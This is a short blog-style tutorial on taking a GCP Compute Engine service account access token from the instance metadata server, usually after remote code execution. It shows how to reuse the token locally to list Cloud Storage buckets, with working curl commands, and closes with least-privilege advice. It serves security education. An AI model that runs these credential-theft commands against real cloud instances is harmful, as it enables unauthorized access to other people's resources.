Introduction
Google Cloud offers a secure and efficient way to manage permissions and authentication through service accounts. These accounts are typically associated with GCP resources like Compute Engine instances, allowing them to securely access other Google Cloud services.
But how can we abuse the service account credentials and use them outside of the instance to enumerate the environment or gain access to other services? In this article, I'll show you how to retrieve the access token linked to a service account from a GCP Compute Engine instance and use it in your local environment to access Google Cloud resources.
What Are Service Accounts in GCP?
Service accounts are special types of Google Cloud identities designed for applications and virtual machines, as opposed to individual users. These accounts allow applications to authenticate with Google Cloud APIs and access resources in a secure, controlled manner.
Each Compute Engine instance can be assigned a service account that grants it specific permissions to interact with other Google Cloud services. These permissions are managed through IAM roles, which can be assigned to the service account.
Steps to Exfiltrate the Service Account Access Token
To retrieve the service account credentials, you can follow these steps. The process involves fetching the access token for the service account, storing it, and then using it in your API requests.
Step 1: Retrieve the Access Token
Google Cloud Compute Engine provides a metadata server that can be queried from the VM instance to retrieve the service account's access token. You can use curl
to retrieve this token. Usually, this technique requires a remote code execution vulnerability on the application running on the instance.
Run the following command from within your Compute Engine instance:
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google"
Explanation:
- This command accesses the metadata server (
metadata.google.internal
) to retrieve theaccess_token
associated with the service account attached to the instance. - The
-H "Metadata-Flavor: Google"
header is required to authenticate the request to the metadata server. This will prevent SSRF vulnerabilities to retrieve the token.
Example Response:
{"access_token":"example.c.c0ASRK0Gbn7i-qmAaFa08oBK-asE_Z2BGP6fF-IXZiwJX4No_00nMdsd5tCM126svcYEcgJrHquSZsHojTNWXf9-lIVXYO6IByaWixvyn-9mP42exZZEYmGe3tmsBxhMWyImK60vIsbKB0oJbNmBDoRm7Gjwbu5wH2bHkUiacvwtrI-c0wgrz89eZiaZlbaZUiu779s0-I_fi6mps658Xuohxmqj68RcJt49lpIq5_k_g09","expires_in":3430,"token_type":"Bearer"}
Step 2: Retrieve the Project ID (Optional)
If you need to interact with resources that require a project ID (like Cloud Storage), you can also retrieve your project ID using the metadata server.
Run the following command:
curl "http://metadata.google.internal/computeMetadata/v1/project/project-id" -H "Metadata-Flavor: Google"
This will return the project ID associated with your GCP instance. You can use this to make API requests for specific resources in that project.
Example Response:
alexanderhose-com
Step 3: Store the Access Token Locally
To use this access token outside the instance, store it in an environment variable. Here’s how you can set it up as an environment variable in your local machine:
export ACCESS_TOKEN="example.c.c0ASRK0Gbn7i-qmAaFa08oBK-asE_Z2BGP6fF-IXZiwJX4No_00nMdsd5tCM126svcYEcgJrHquSZsHojTNWXf9-lIVXYO6IByaWixvyn-9mP42exZZEYmGe3tmsBxhMWyImK60vIsbKB0oJbNmBDoRm7Gjwbu5wH2bHkUiacvwtrI-c0wgrz89eZiaZlbaZUiu779s0-I_fi6mps658Xuohxmqj68RcJt49lpIq5_k_g09"
Now, you can use this token to authenticate requests from your local machine.
Step 4: Make API Requests Using the Access Token
Now that you have the access token, you can use it to make authenticated API calls. For example, to list buckets in Google Cloud Storage, use curl
to send a request to the Cloud Storage API:
curl -H "Authorization: Bearer $ACCESS_TOKEN" "https://storage.googleapis.com/storage/v1/b?project=alexanderhose-com"
Explanation:
- The
-H "Authorization: Bearer $ACCESS_TOKEN"
header adds the access token to your request for authentication. - Replace
alexanderhose-com
with your actual project ID if needed.
Example Response:
{
"kind": "storage#buckets",
"items": [
{
"kind": "storage#bucket",
"id": "my-bucket",
"name": "my-bucket",
"location": "US",
"storageClass": "STANDARD",
...
}
]
}
Consideration: Securing Access Tokens and Following Best Practices
To protect your environment, you should always ensure that your applications are secured to prevent unauthorized access to these tokens. It’s essential to implement best practices for access control and secure development.
Additionally, when assigning permissions to service accounts, adopt the principle of least privilege. Grant service accounts only the permissions they need to perform their tasks, and avoid giving them unnecessary access to sensitive resources. This minimizes the risk of accidental or malicious misuse of credentials and helps protect the integrity of your environment.
By securing your access tokens and following the principle of least privilege, you can prevent unauthorized access and maintain a more secure cloud infrastructure.
Member discussion